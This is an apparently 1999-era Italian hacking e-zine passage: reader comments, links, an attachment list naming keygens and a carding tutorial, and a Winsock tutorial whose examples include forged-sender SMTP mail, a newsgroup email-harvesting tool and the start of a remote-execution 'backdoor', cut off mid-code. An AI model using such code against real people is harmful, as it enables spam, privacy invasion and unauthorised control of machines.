pubblicate, si vede che ci mettete impegno, inoltre gli argomenti trattati mi sembrano molto interessanti ed abbastanza completi. continuate cosi' =) BY Biavo i newbies sono un gruppo interessante, alcuni di loro hanno buone idee (si deduce da alcuni articoli) e voglia di imparare, peccato che la maggior parte di loro dopo un po' si stanca e non continua questa sua passione. BY Vaffa newbies?????''' chi la conosce l'ama chi non la conosce si suicidia BY [aLT255] secondo me e' un'ottima e-zine nel senso personalmente mi piacciono molto le sezioni dedicate alla programmazione molto ben curate e poi quelle dell'hacking.. pero' purtroppo io so ancora a far prendere tin.it al mio redhat che non ne vuole sapere... BY Cod ok all'inizio pensavo che fosse una delle tante riviste che si trovava in giro.... infatti guardandola non e' che la trovassi interessante... poi pero' mentre leggevo un articolo di crack dell ZioFill mi sono interessato al giornalino ;) .... pero' quando mi so accorto che lo zio e' pejo de me mi so detto meglio dare na mano... ;) senno' qui quando la smettono di fare newbies ! BY Urkes newbies e' una delle classiche e-zine da far leggere a quelle persone esordienti nell'hacking ovvero ai newbies talvolta puo' essere d'aiuto anche per esperti visto che negli articoli puo' apparire qualcosa di nuovo ma di solito l'indirizzamento di chi smanetta e' orientato verso cose piu' che fanno venire l'ebbrezza hacker ovvero il pluricitato BfI, Phrack, e cosi' via Se continua verso il miglioramento potremo trovare in newbies 'l'ezine della porta accanto' BY Vecna newbies va' migliorando di brutto! se il primo e il secondo numero erano a dir poco "patetici" :) (anche se in fin dei conti il titolo e' "NEWBIES" ) il terzo e il quarto numero lasciano intravedere anche un pochino di tecnica, e questo e' un grande passo, sopratutto xke' gli autori degli articoli sono anche gli autori di newsbies 1 e 2. questi significa che 1) loro stessi sono migliorati 2) newbies, almeno come introduzione, vale. ... se poi ci sono gli art non sintattici ma tecnici... bhe, bisogna essere sicuri di sapere le cose prima di scriverle :) BY Bobo guarda che come e-zine la considero una delle migliori:) mi piace molto quella che preferisco e' bfi poi netrunners di rigor poi ci siete voi con newbies BY _JoHnNy- newbies e' una bella rivista ma... credo che la veste grafica sia molto scarsa e anche il fatto che sia un solo file e' difficile da consultare!! BY \ImRsTv\ ke sia un'ottima trovata...... bfi non e' assolutamente x gente ke vuole imparare.... mentre Newbies tratta argomenti in modo facile..... mi pare ke il vostro skopo fosse kuesto no ? beh se e' kosi' lo state assolvendo in pieno..... BY ANONIMO hm.... come rivista non e` malaccio N0bodY88 SPECIAL TNX: vanno a tutti quelli che si sono presi la briga di rispondermi togliendo tempo prezioso a cose forse (di sicuro!!!) piu' utili che rispondere a un newbies in cerca di certezze ;) NOTA DI N0bodY88 A QUEL GRUPPO DI PERSONE: voi che cax state facendo x cercare di aiutare gli altri o di creare qualcosa di nuovo ? ͻ Ŀ RIEPILOGO LINK IN ORDINE ALFABETICO ٺ ͼ [ Anarchy in the system ---------------------------> http://aisprod.tsx.org ] [ Attila Hack ------------------------------> http://www.attilahack.cjb.net ] [ Crypto -----------------------------------------------> http://kz.cjb.net ] [ BFI ------------------------------------------> http://www.s0ftpj.org/bfi ] [ Dislessici -----------------------------------> http://www.dislessici.org ] [ Lord Guf --------------------------------------------> http://guf.cjb.net ] [ Metro Olografix -------------------------------> http://www.olografix.org ] [ NetRunners -----------------> http://www.spippolatori.com/h/netrunner.htm ] [ Quequero ---------------------------------------> http://quequero.cjb.net ] [ RFC (sito dove le potete trovare) ------------> http://www.faqs.org/rfcs/ ] [ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ] [ Softpj -------------------------------------------> http://www.s0ftpj.org ] [ SoftWord -----------------------------------> http://softword.webjump.com ] [ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ] [ Spippolatori -------------------------------> http://www.spippolatori.com ] [ T0rment0 -------------------------------> http://web.interpuntonet.it/xj/ ] [ Vana - Imago -----------------> http://members.xoom.com/eripper/index.htm ] [ Valvoline -------------------------------------> http://valvoline.cjb.net ] [ Wannabe ----------------------------------> http://www.attilahack.cjb.net ] NOTA DI N0bodY88 = Se volete che il nome della vs crew con l'url del vs sito sia presente nella soprascritta tabella basta che ce lo comunichiate e sara' fatto sia x siti newbies che x siti di hacking. Un grande scusa va agli amici del s0ftpj x il fatto di avere messo in NewBies 4 il link al loro sito sbagliato (errore prontamente segnalatomi dal mito Vecna). Mea culpa :( Scusatemi ancora. ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۲۰۰۰۰۰۰۲۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ 2 PAROLE SUGLI ALLEGATI: - 3s7km.zip = contiene un exe che e' il keymaker del prog Tresette fatto dal solito inimitabile cod :) - articoli newbies e-zine.zip = raccolta in un indice fatto in excel di tutti gli art dei num precedenti di NewBies fatta da ego2k e passatami...complimenti x l'idea :) - bpkm.zip = contiene il keymaker di Buddy Phone fatto da cod in soli 9 kb... che dire... complimenti al ns veterano ;) - card-tut.zip = carding tutorial composto dalla guida di XaRaBaS al carding, Crad Master 4, GenCCard e il mitico GenerID dei bieffeiani Cavallo de Cavallis (IL crackatore) e Blinking (mi sono giunte voci sul fatto che sia meta' uomo e meta' kernel di linux!!!) - html.zip = zip contenente la guida ai fondamenti dell'html di Firebeam divi sa in un file contenente la guida vera e propria, una pagina con un listato, una pagina di prova ed un immagine di prova - Nr-gsm.zip = contiene la strafiga guida al sistema gsm fatta dal ineguaglia bile Nick1 un must x tutti i phreaker, x tutti gli aspiranti phreaker e per tutti i dipendenti telecom che ci seguono =) - RFC 1459 1 parte = traduzione di una buona parte del RFC 1459 che spiega il protocollo IRC (le prossime parti nei prossimi nume ri). Complimenti al traduttore il simpaticuz [Ironman] - writing = ovvero l'articolo "La dura arte del writing" di r3b0oT x aiutare i novelli artisti amanti dell'hip hop, xche' se e' vero che hacking non e' solo smanettare sui pc ma anke uno stato mentale..! ...non rimane che... - NewBies5.txt = cosa pensate che sia 8-] hihihi N0bodY88 ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ LA PROGRAMMAZIONE DEI SOCKET AD USO ED ABUSO DEI CEREBROLESI :) ٺ ͼ -= Master *** =- Spp - Member Master@spippolatori.com www.spippolatori.com Per la prima volta nella tua vita dopo tanta programmazione in vb o in c++ ti sei deciso a fare qualcosa che mandi o riceva qualche dato attraverso la grande rete e da una prima lettura delle specifiche dei socket ti senti un cerebroleso? Sei passato dal c++ alla lettura di "ricordi dal sottosuolo" di Dostoevskij ma anche li c'hai capito pochino quindi sei tornato a incaponirti sul c++ seguendo lo schema pratico secondo il quale se non ti fai del male non sei contento? Non ti angustiare ..e' una cosa molto piu' comune di quanto non pensi. ;-) Certo sarebbe bello potersi fare una backdoor da solo ma.. azz.. chissa' com'e' difficile, c'e' un sacco di termini che non capisco, gli help del winsock sono pieni di esempi che uno per capirli deve gia' essere un esperto .. e allora che esempi sono? Poi mi dovrei leggere anche qualche RFC .. in inglese!!.. va beh .. forse e' meglio se torno ad accendere e spegnere computer come mia attivita' principale. Pero' .. mmhhhh.. forse potrei scopiazzare il programma di un altro e modificarlo leggermente cosi' dopo faccio credere a tutti che sia il mio! he he si si .. faro' cosi'. Pero' si trova solo roba per unix.. e chi ci capisce nulla! sob! .. che depressione. ALLEGRO! .. he he .. ecco qui una serie di procedure ad uso ed abuso di un cerebroleso come te per poter fare le seguenti cose.. 1. La programmazione base del winsock in c. 2. Esempi pratici elementari in c++: time server, smtp, estrazione di tutti gli indirizzi, ip o altri header da un ng Applicazione minima client-server per l'esecuzione di programmi sul remoto ... ed altro. ;-) 3. Convertire un programma in C per unix che sfrutta i socket in un programma funzionante per windows. [..ci sono anche svariati esempi in VB parallelamente a quella in C ;-) ] Le cose da ricordare sono semplici .. per comunicare o ricevere dati attraverso la rete col C e' necessario possedere una libreria di istruzioni (facente capo ad una dl specifica) che prende il nome di WINSOCK. La trovate come libreria BAS nel VB (WINSOCK.BAS) e come header nel C (WINSOCK.H) Se usate il VC dalla versione 4 in su o il Borland C++ dalla versione 4.5 in su (Builder compreso) questa libreria e' gia' all'interno della vostra installazione.. deve solo essere dichiarata come header. Il Borland c++ 3 (quello che poi quasi tutti usano come primo compilatore) non ha questa libreria. Si trova in rete su vari siti .. ma di quelle proposte non ne funziona una. Per usare i Socket col Borland c++ l'unica soluzione valida resta quella di installarsi il Trumpet Winsock (si trova in rete col crack annesso). La libreria contiene una marea di funzioni spesso inutili per chi inizia. Le uniche che vi serviranno sono quelle relative ai seguenti passi minimi necessari per: 1. Aprire un socket (e' come alzare la cornetta del telefono.. si crea il presupposto per una connessione con un altro utente) 2. Chiudere un socket (la dovrete riabbassare prima o poi la cornetta no?) 3. Mandare dei dati (solitamente una stringa di testo) 4. Ricevere dei dati (solitamente una stringa di testo) 5. Attendere in perpetuo che qualcuno ci mandi dei dati (e' la base per fare un "server" .. ovvero un programma che attenda un qualche dato caratteristico da un client remoto per poi fare - qualcosa d'altro -) Se sapete fare questo tutto il resto praticamente non vi serve. Tenete sempre presente che lavorare con i socket e' un po' come aprire telnet e lavorare di li. Su telnet vi connettete (con i socket dovete fare altrettanto). telnet apre un socket per la connessione (questo invece voi dovrete farlo a mano) poi inviate i comandi scrivendoli sulla consolle e premendo enter. Con i socket dovrete mettere i comandi in una stringa di testo, inviarli col comando apposito assieme ai caratteri finali ascii(13) +ascii(10) che sono l'equivalente del premere ENTER. Di seguito leggete su telnet le risposte. Col winsock dovranno essere espressamente richieste tramite una funzione apposita. Finito il lavoro chiudete telnet il quale chiude per voi i socket aperti. Con winsock sarebbe molto carino se i socket ve li chiudeste da soli.. infatti solo chiudendo il programma spesso questi ultimi restano aperti lasciandovi delle porte occupate ..almeno fino al prossimo riavvio di windows. Vediamo come si fa in pratica.. Come prima azione dovremo aggiungere ai nostri programmi in C gli header necessari... a questi visto che intenderemo lavorare con i socket aggiungeremo #include COSA IMPORTANTE DA RICORDARE.. il winsock DEVE essere inizializzato per funzionare! per farlo bisogna creare una variabile di tipo WSData (attenzione alla maiuscole e alle minuscole!) - Ma io non ce l'ho sto tipo di variabile!!- Si si .. ce l'avete! ..he he .. e' dichiarato nell'header winsock.h! Dopo di che si usa la funzione WSAStartup in questo modo WSAData parto; long identificatore .... identificatore=WSAStartup(0x0101,&parto); .. il winsock e' partito! :)) adesso bisogna -alzare la cornetta del telefono- .. ovvero aprire un socket. b = socket(AF_INET,SOCK_STREAM,0); (b e' l'identificatore che vi dice se i l socket e' stato aperto o meno .. tipo INT) (consideriamo il caso che si apra un socket per la comunicazione via TCP.. per usare i socket ICMP o UDP le dichiarazion idi apertura sono diverse.. ma il TCP per adeso a voi basta e avanza) Bisognera' ora dichiarare di volersi collegare ad un determinato IP su una certa PORTA. (Ovviamente e' necessario che l'ip sia esistente e on line per riuscirci ..e che ovviamente abbia quella determinata porta aperta.) I dati da passare al winsock devono essere contenuti in una struttura di tipo sockaddr_in (sockaddr_in significa indirizzo in entrata per il socket) quindi: struct sockaddr_in pippo (per definire la struttura.. il tipo sockaddr_in e' sempre contenuto nella libreria winsock.h) e di seguito ... pippo.sin_family = AF_INET; pippo.sin_port = htons(numero_della_porta); (serve a dichiarare su quale porta ci si vuole connettere) pippo.sin_addr.s_addr = inet_addr(IP_in_formato_stringa); (serve a dichiarare a quale IP ci si vuole connettere) una sola precisazione importante.. inet_addr e' una funzione che permette di convertire un ip in formato canonica sotto forma di stringa nel suo equivalente numerico. es. IP = "100.200.300.400" inet_addr = 400+300*256+200*256^2+100*256^3 quindi 1690829500 e' l'equivalente decimale di 100.200.300.400 potete provare questo sostituendo uno all'altro quando vi connettete con telnet (funzionano entrambi ..sono lo stesso numero rappresentato in maniera matematicamente diversa) Tutto chiaro? perfetto. ;-) come? .. scusa ? .. -Ma se io conosco solo l'equivalente letterale dell'IP come faccio?- beh .. e' leggermente piu' laborioso ma non piu' complesso. ci viene in aiuto la comodissima funzione "gethostbyname" ... magico eh!? ;-) gethostbyname ..ovvero trova l'ip del server tramite il suo nome letterale. per usarla occorrera' inizializzare una struttura di tipo hostent: struct hostent *hp inizializzarla con i dati relativi al resolve numerico del nome del server. hp=gethostbyname("nome_del_server") (es: nome_del_server = "wwww.spippolatori.com") e quindi modificare la linea di ingresso che prima avevamo scritto cosi': pippo.sin_addr.s_addr = inet_addr(IP_in_formato_stringa); cosi': pippo.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr; ........... arriva la parte piu' importante.. bisogna CERCARE DI CONNETTERSI! lo faremo con l'istruzione "connect" ..ma guarda te. ;-) usando questa sintassi: d=connect(b,(struct sockaddr *)&pippo,sizeof(pippo)); d e b sono i soliti identificatori di tipo INT, pippo e' la struttura sopra inizializzata che passa i dati al winsock per l'effettiva connessione. Se tutto va bene .. siamo connessi! Che fare adesso? potremo inviare dei dati o ricevere dei dati. Solitamente i server ad ogni invio di dati replicano con una stringa di risposta per confermare l'avvenuta operazione o per informare che qualche errore e' occorso. Per inviare i dati si usera' il comando send, per riceverne il comando recv con queste rispettive sintassi: send(nome_del_socket_aperto , stringa , lughezza_della_stringa , 0); recv(nome_del_socket_aperto , stringa , lughezza_della_stringa , 0); esempio pratico di invio: Vogliamo inviare al server la stringa "MAIL FROM: me@too.it" + l'invio (ENTER) ... char stringa[0xff], invio[3]; ... strcpy(stringa,"MAIL FROM: me@too.it"); invio[0]=13;invio[1]=10; ... send(pippo,stringa,strlen(stringa),0); send(pippo,invio,2,0); ... esempio pratico di ricezione: Vogliamo ricevere la risposta del server: qui occorre puntualizzare una cosa, non conviene cercare di ricevere una grossa mole di dati per volta, meglio suddividere tutto in pacchetti piu' piccoli da salvare o visualizzare volta volta. ... char ricevo[2000]; ... recv(pippo,ricevo,2000,0) ovviamente l'istruzione recv mette in attesa il programma (non prosegue sino a quando la ricezione e' finita) Un esempio semplice pratico e funzionante da fare subito con poco dispendio di energie. Volete sapere che ore sono con precisione?? lo chiediamo all'orologio atomico del CNR? SIII... E' un servizio molto semplice ..potete fare la prova con telnet: vi collegate all'ip 155.253.17.2 sulla porta 13 e automaticamente vi verra' risposto con l'ora e la data precise aggiornate su i vostri dati (la data, l'ora e l'ora legale vengono replicate da server sulla base dell'ip col quale vi connettete) quindi .. telnet 155.253.17.2 13 .. e vi appare l'ora e la data. Vediamo come possiamo fare per fare un programma che faccia la stessa cosa in c++. gli header necessari #include #include compreso quello del winsock.. #include main() { si dichiarano le variabili necessarie WSAData a; SOCKET b; long gg; struct sockaddr_in c; int d,n,m; char e[0xff]; si inizializza il winsock gg=WSAStartup(0x0101,&a); si dichiara la porta 13 c.sin_family = AF_INET; c.sin_port = htons(13); si dichiara l'ip del server c.sin_addr.s_addr = inet_addr("155.253.17.2"); ci si connette d=connect(b,(struct sockaddr *)&c,sizeof(c)); si riceve la stringa di dati contenente l'ora n=recv(b,e,sizeof(e),0); la si visualizza sulla consolle for(m=1;m<=n; m++) printf("%c",e[m-1]); printf("\n"); da bravi bambini si chiude il socket. ;-) closesocket(b); } finito. il programma e' tutto qui: //----------------------------------------------------- #include #include #include main() { WSAData a; SOCKET b; long gg; struct sockaddr_in pippo; int d,n,m; char e[0xff]; gg=WSAStartup(0x0101,&a); b = socket(AF_INET,SOCK_STREAM,0); pippo.sin_family = AF_INET; pippo.sin_port = htons(13); pippo.sin_addr.s_addr = inet_addr("155.253.17.2"); d=connect(b,(struct sockaddr *)&pippo,sizeof(pippo)); n=recv(b,e,sizeof(e),0); for(m=1;m<=n; m++) printf("%c",e[m-1]); printf("\n"); closesocket(b); } //----------------------------------------------------- ovviamente questo e' il METODO GENERALE di uso dei socket.. dovendo programmare la stessa cosa in VB (o altro linguaggio) non ci sarebbe nessuna differenza strutturale sostanziale.. vediamo infatti l'equivalente del programma sopra riportato in VB usando al posto del winsock.h la libreria WINSOCK.BAS scaricabile gratuitamente in rete un po' dappertutto. Cio' permette di evitare l'uso delle librerie activex tipo winsock.ocx o winsck.ocx che richiedono all'utente finale sia il possesso che una preventiva registrazione per funzionare. Il programma VB cosi' ottenuto sara' (runtime escluse) autosufficiente. //----------------------------------------------------- Dim a As WSADataType Dim b,gg As Long Dim pippo As sockaddr Dim e As String * 255 Private Sub Form_Load() gg = WSAStartup(&H101, a) b = socket(AF_INET, SOCK_STREAM, 0) If SOCKN = SOCKET_ERROR Then Exit Sub pippo.sin_family = AF_INET pippo.sin_port = htons(13) pippo.sin_addr = inet_addr("155.253.17.2") pippo.sin_zero = String$(8, 0) d = connect(b, pippo, Len(pippo)) n = recv(b, e, 255, 0) Text1.text = e closesocket b ' RC = WSACleanup() End Sub //----------------------------------------------------- Se si escludono le piccole variazioni dovute alle differenze intrinseche dei due diversi linguaggi si puo' notare che l'evolversi della struttura organizzativa del programma e' praticamente la stessa. In Pascal la cosa non sarebbe a sua volta molto differente. Per inciso le procedure della libreria winsock.bas (circa 40k di dimensione totale) che servono a questo programma sono veramente poche.. Volendo solo accludere un modulo fatto ad hoc estrapolando solo lo strettamente necessario alla compilazione al posto di winsock.bas uniremo questo MINIWINSOCK.BAS studiato ad arte.. [ ATTENZIONE perche' funziona SOLO con il programma sopra.. ] -------------------------------------------------------------- MINIWINSOCK.BAS ' -------------------------------------- ' dichiarazione delle costanti ' -------------------------------------- Public Const WSA_DESCRIPTIONLEN = 256 Public Const WSA_DescriptionSize = WSA_DESCRIPTIONLEN + 1 Public Const WSA_SYS_STATUS_LEN = 128 Public Const WSA_SysStatusSize = WSA_SYS_STATUS_LEN + 1 Public Const AF_INET = 2 Public Const SOCK_STREAM = 1 Public Const SOCKET_ERROR = -1 ' -------------------------------------- ' dichiarazione delle strutture ' -------------------------------------- Type WSADataType wVersion As Integer wHighVersion As Integer szDescription As String * WSA_DescriptionSize szSystemStatus As String * WSA_SysStatusSize iMaxSockets As Integer iMaxUdpDg As Integer lpVendorInfo As Long End Type Type sockaddr sin_family As Integer sin_port As Integer sin_addr As Long sin_zero As String * 8 End Type ' -------------------------------------- ' dichiarazione delle procedure ' -------------------------------------- Public Declare Function WSAStartup _ Lib "Winsock.dll" ( _ ByVal wVR As Integer, _ lpWSAD As WSADataType _ ) As Integer Public Declare Function socket _ Lib "Winsock.dll" ( _ ByVal af As Integer, _ ByVal s_type As Integer, _ ByVal protocol As Integer _ ) As Integer Public Declare Function connect _ Lib "Winsock.dll" ( _ ByVal s As Integer, _ addr As sockaddr, _ ByVal namelen As Integer _ ) As Integer Public Declare Function recv _ Lib "Winsock.dll" ( _ ByVal s As Integer, _ ByVal buf As Any, _ ByVal buflen As Integer, _ ByVal flags As Integer _ ) As Integer Public Declare Function htons _ Lib "Winsock.dll" ( _ ByVal hostshort As Integer _ ) As Integer Public Declare Function inet_addr _ Lib "Winsock.dll" ( _ ByVal cp As String _ ) As Long Public Declare Function closesocket _ Lib "Winsock.dll" ( _ ByVal s As Integer _ ) As Integer Public Declare Function WSACleanup _ Lib "Winsock.dll" ( _ ) As Integer ------------------------------------------------------------------------------ un altro esempio pratico.. mandiamo una mail al nostro amico topolino@uccio.it dicendogli che e' un penecefalo. Useremo il nostro server mail 123.345.567.890 sulla porta 25 e faremo finta di essere cuccurullo@tin.it #include #include #include #include #include #include WSAData ws; SOCKET s; struct sockaddr_in sock; int d,n,m; long gg; char stringa[4096], stringhina[3]; stringhina[0]=0x0d;stringhina[1]=0x0a; main() { strcpy(stringa,"HELO sono-io"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s : ",stringa); // visualizza la stringa inviata recv(s,stringa,4096,0); // riceve la risposta dal server printf("%s\n",stringa); // la visualizza strcpy(stringa,"MAIL FROM:: cuccurullo@tin.it"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s : ",stringa); // visualizza la stringa inviata recv(s,stringa,4096,0); // riceve la risposta dal server printf("%s\n",stringa); // la visualizza strcpy(stringa,"RCPT TO: topolino@uccio.it"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s : ",stringa); // visualizza la stringa inviata recv(s,stringa,4096,0); // riceve la risposta dal server printf("%s\n",stringa); // la visualizza strcpy(stringa,"DATA"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s\n",stringa); // visualizza la stringa inviata strcpy(stringa,"Subject: ciao da cuccurullo!"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s\n\n",stringa); // visualizza la stringa inviata strcpy(stringa,"Ma lo sai che sei un bel penecefalo!? ;-)"); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s\n\n",stringa); // visualizza la stringa inviata strcpy(stringa,"."); send(s,stringa,strlen(stringa),0); // manda la stringa al server send(s,stringhina,2,0); // manda l'invio (ENTER) printf("%s : ",stringa); // visualizza la stringa inviata recv(s,stringa,4096,0); // riceve la risposta dal server printf("%s\n",stringa); // la visualizza // dopo il comando DATA non si ricevono messaggi dal server smtp fino alla // chiusura con . + ENTER quindi l'uso del receive farebbe bloccare il // programma in una continua ricerca di un qualcosa che non verra' mai. ;-) closesocket(s); } Ultimo esempio concernete i ng.. Essendo dei veri cerebrolesi ovviamente vi sarete chiesti come fare per levare da un ng tutte le mail in esso contenute. :)) Eccovi un esempio banale per estrarre tutte le mail dal newsgroup alt.hacker.cough.cough su news.interbusiness.it #include #include #include #include #include #include #include WSAData ws; SOCKET s; struct sockaddr_in sock; struct hostent *hp; int d,n,m; long gg; char stringa[4096], stringhina[3]; Spedisci_Messaggio(char *messaggio); // procedure per semplificare l'invio Ricevi_Risposte(); // la ricezione e la visualizzazione main() { gg=WSAStartup(0x0101,&ws); // inizializzo il winsock s = socket(AF_INET,SOCK_STREAM,0); hp=gethostbyname("news.interbusiness.it"); // trovo l'ip dal nome dichiarato if(hp==NULL) {closesocket(s);exit(0);} // se non c'e'..termina il // programma. sock.sin_family = AF_INET; sock.sin_port = htons(119); sock.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr; d=connect(s,(struct sockaddr *)&sock,sizeof(sock)); Ricevi_Risposte();printf("\n"); // trova tutti gli indirizzi email sul ng Spedisci_Messaggio("group alt.hackers.cough.cough.cough"); strcpy(stringa,"->"); Spedisci_Messaggio("xhdr from 1-100000"); // 1-1000000 equivale a dire -tutti- while(!strstr(stringa, "\n.\r")) Ricevi_Risposte(); printf("\n"); closesocket(s); getch(); exit(0); } Spedisci_Messaggio(char *messaggio){ send(s,messaggio,strlen(messaggio),0); stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0);} Ricevi_Risposte(){ n=recv(s,stringa,sizeof(stringa),0); for ( m = 1;m <= n; m++) printf("%c",stringa[m-1]);} L'esempio sfrutta il protocollo nntp. Per avere la lista di tutti i i diversi header K presenti su un gruppo di articoli da A a B su un determinato ng e' sufficiente collegarsi al newserver, selezionare il gruppo con GROUP nome_del_newsgroup e di seguito se ad esempio si bogliono estrarre tutte le mail presenti (quindi l'header from: ) si digitera' su telnet > xhdr from A B per avere altri header la dicitura e' analoga.. per avere tutti i subject degli articoli: > xhdr subject 1 100000 per avere tutti gli ip presenti nel ng dall'articolo 4000 all'articolo 4100 > xhdr nntp-posting-host 4000 4100 ecc... eccovi un esempio piu' evoluto del programma di sopra. l'ho chiamato FINDUS (trovaci) permette di estrarre da un determinato NG su un particolare NS la lista completa di tutti gli header dichiarati in entrata. es.. per estrarre tutte le mail dal ng alt.hackers da news.tin.it si procedera' cosi': [ sintassi: FINDUS news_server news_group header ] FINDUS news.tin.it alt.hackers from > lista.txt :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: FINDUS.C :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include #include #include // Assegnazioni //--------------------------------------------------------------------------- WSAData ws; SOCKET s; struct sockaddr_in sock; struct hostent *hp; int d,n,m; long gg; char stringa[4096], stringhina[3],s1[255]; //--------------------------------------------------------------------------- // Dichiarazione delle procedure //--------------------------------------------------------------------------- Spedisci_Messaggio(char *messaggio); Spedisci_ENTER(); Ricevi_Risposte(); //--------------------------------------------------------------------------- main(int nf,char **file) { char *leggi; FILE *fp; leggi = (char *) calloc(200, sizeof(char)); //fp=fopen(file[1],"rb"); // inizializzazione del winsock //--------------------------------------------------------------------------- gg=WSAStartup(0x0101,&ws); printf("Attivo il supporto winsock -> id=%ld\n",gg); s = socket(AF_INET,SOCK_STREAM,0); printf("Apro il socket n.%ld\n",s); hp=gethostbyname(file[1]); if(hp==NULL){ printf("mica lo trovo %s!\n",file[1]); closesocket(s); exit(0);} // dichiarazione della porta e dell'host a cui connettersi sock.sin_family = AF_INET; sock.sin_port = htons(119); sock.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr; // connessione d=connect(s,(struct sockaddr *)&sock,sizeof(sock)); printf("Sono connesso -> id=%ld\n",d); //--------------------------------------------------------------------------- Ricevi_Risposte(); printf("\n"); // trova tutti gli header specificati sprintf(s1,"group %s",file[2]); Spedisci_Messaggio(s1); strcpy(stringa,"->"); sprintf(s1,"xhdr %s 1-100000",file[3]); Spedisci_Messaggio(s1); while(!strstr(stringa, "\n.\r"))Ricevi_Risposte(); printf("\n"); closesocket(s); exit(0); // Procedure utilizzate : //--------------------------------------------------------------------------- // Procedura per spedire un messaggio al server con CrLf finale //--------------------------------------------------------------------------- Spedisci_Messaggio(char *messaggio) { send(s,messaggio,strlen(messaggio),0); stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0); } //--------------------------------------------------------------------------- // Procedura per attendere e visualizzare la risposta del server // .. paragonabile all'evento Data_Arrival (o quasi) :) //--------------------------------------------------------------------------- Ricevi_Risposte() { n=recv(s,stringa,sizeof(stringa),0); for ( m = 1;m <= n; m++) printf("%c",stringa[m-1]); } //--------------------------------------------------------------------------- :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ok. Vediamo adesso qualcosa di leggermente piu' complesso. per un server in c++ vi rimando alla lettura del mio articolo su Netrunner9 "Anche la programmazione ha il suo sgurtz" dove ci sono tutte le istruzioni per farne uno completo ed efficiente. Proviamo allora a farne uno in VB .. un semplice esecutore di programmi da remoto col winsock.bas la vostra prima applicazione client-server tipo backdoor. ;-) (Per avere un solo eseguibile consiglio di compilarlo in VB4 32bit per poi unire le runtime library in un unico eseguibile seguendo le istruzioni del mio programma STEALTH INSTALLER 2 che trovate su www.spippolatori.com) Specifiche : Trasmissione dei dati via TCP Uso della porta 666 per le comunicazioni Cominciamo col Client: Il programma che dovra' connettersi al server inviando la stringa contenente il nome del programma da far eseguire sul computer remoto. Aprite un form con due textbox (la prima chiamatela "host" e conterra' l'ip del computer remoto a cui ci si vorra' connettere e la seconda chiamatela "Program"; quest'ultima conterra' il nome del file da eseguire completo del path che -dovrebbe- trovarsi sulla macchina remota.) Unite un bottone per l'avvio della procedura di connessione. --------------------------------------------- client Dim INIZIO As WSADataType Dim SOCKN As Long Dim pippo As sockaddr Private Sub Form_Load() RC = WSAStartup(&H101, INIZIO) If RC = SOCKET_ERROR Then Exit Sub End Sub Private Sub Form_Unload(Cancel As Integer) RC = WSACleanup() End Sub Private Sub Button_Click() Dim IPN As Long IPN = GetHostByNameAlias(Host) If IPN = -1 Then Exit Sub SOCKN = socket(AF_INET, SOCK_STREAM, 0) If SOCKN = SOCKET_ERROR Then Exit Sub pippo.sin_family = AF_INET pippo.sin_port = htons(666) pippo.sin_addr = IPN pippo.sin_zero = String$(8, 0) RC = connect(SOCKN, pippo, Len(pippo)) If RC = SOCKET_ERROR Then closesocket SOCKN Exit Sub End If RC = SendData(SOCKN, Program + vbCrLf) closesocket SOCKN End Sub --------------------------------------------- client adesso il Server: PID = WSAStartup(&H101, INIZIO) If PID = SOCKET_ERROR Then Exit Sub .. SOCKN = socket(AF_INET, SOCK_STREAM, 0) If SOCKN < 1 Then Exit Sub pippo.sin_family = AF_INET pippo.sin_port = htons(666) pippo.sin_addr = 0 pippo.sin_zero = String$(8, 0) fin qui niente di nuovo. id = bind(SOCKN, pippo, sockaddr_size) una nuova funzione necessaria al server. BIND Col termine -binding- si intende l'associazione di un determinato indirizzo IP (il nostro) porta compresa ad un sock prestabilito al fine di aprire una via di comunicazione nei due sensi. If id <> 0 Then id = WSACleanup() : Exit Sub (se l'associazione per un qualche motivo non riesce il programma si chiude) ascolta = 2 id = listen(ByVal SOCKN, ByVal ascolta) Apertura definitiva della porta dichiarata tramite la struttura pippo e messa in ascolto (LISTEN) del server. (sono permessi 2 utenti contemporaneamente) A questo punto il server attende di ricevere dati sulla porta prefissata. Il sistema che ho usato per ottenere le informazioni richieste usa questa funzione del winsock: WSAAsyncSelect All'atto della ricezione WSAAsyncSelect spedisce un messaggio ad una casella aperta sul nostro form identificandola tramite il suo handle. Aprendo due caselle con evento Mouse-up ed inviando a queste come messaggio &H202 (che corrisponde appunto al Mouse_up ..ovvero al rilascio del tasto select del mouse dopo averlo premuto) si avra' l'attivazione sequenziale delle due procedure collegate. la prima la chiameremo "riceve" Private Sub riceve_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) RICEVUTO = "" LEGGI = 